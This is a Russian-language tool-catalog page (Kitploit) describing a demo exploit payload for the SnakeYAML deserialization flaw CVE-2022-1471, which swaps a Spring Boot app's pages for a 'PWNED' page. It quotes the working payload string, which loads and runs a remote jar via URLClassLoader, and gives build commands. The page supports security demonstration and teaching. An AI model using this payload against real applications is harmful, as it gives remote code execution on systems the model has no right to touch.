Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
yaml-payload — Эксплойт-пейлоад SnakeYAML CVE-2022-1471 для демо | Kitploit
Инструменты/GitHubGitHub/seal-sec-demo-2/yaml-payload
Динамический анализ (песочница)Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubseal-sec-demo-2/yaml-payload

yaml-payload

Эксплойт-пейлоад SnakeYAML CVE-2022-1471 для демо

Репозиторий
6 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

yaml-payload

Эксплойт-пейлоад для десериализации SnakeYAML для CVE-2022-1471, адаптированный из artsploit/yaml-payload (изначально основан на mbechler/marshalsec).

Что он делает

При загрузке через небезопасный Yaml.load() в SnakeYAML этот пейлоад перехватывает управление запущенным приложением и заменяет его страницей «You've Been PWNED»:

  1. Внедряет Tomcat Valve в работающее приложение Spring Boot через рефлексию, перехватывая существующий порт 8080 — тот же URL (включая любой ngrok-туннель) теперь отдаёт PWNED-страницу
  2. Автоматически перенаправляет браузер — ответ на POST содержит 302-редирект, поэтому браузер сразу загружает PWNED-страницу без ручного обновления
  3. Автоматически открывает браузер на правильном URL (публичный URL ngrok, если доступен, иначе localhost:8080)
  4. Выводит доказательства эксплуатации в консоль/логи CI

Если внедрение Tomcat Valve недоступно (например, не Spring-приложение), пейлоад переключается на запуск отдельного HTTP-сервера на порту 9999 и автоматически создаёт ngrok-туннель, если ngrok запущен.

Это работает как локально на macOS, так и в CI/CD пайплайнах (например, GitHub Actions на Ubuntu).

Как работает цепочка эксплуатации

Пейлоад SnakeYAML запускает ScriptEngineManager через Java SPI (Service Provider Interface):

root@kitploit:~
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]
  1. SnakeYAML создаёт экземпляр java.net.URL, указывающий на yaml-payload.jar из этого репозитория
  2. Оборачивает его в URLClassLoader для загрузки удалённых классов
  3. ScriptEngineManager обнаруживает и загружает AwesomeScriptEngineFactory через META-INF/services/javax.script.ScriptEngineFactory
  4. Конструктор фабрики внедряет Valve в работающий конвейер Tomcat, заменяя каждый последующий ответ на / на PWNED-страницу

Сборка

Требуется JDK 17+:

root@kitploit:~
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..

Использование

Используется как эксплойт-пейлоад в проекте maven-demo. Вставьте строку пейлоада в поле имени приложения, чтобы вызвать RCE. Страница приложения будет заменена на PWNED-страницу при следующем запросе. Полные инструкции по демонстрации см. в README того репозитория.

Скачать инструмент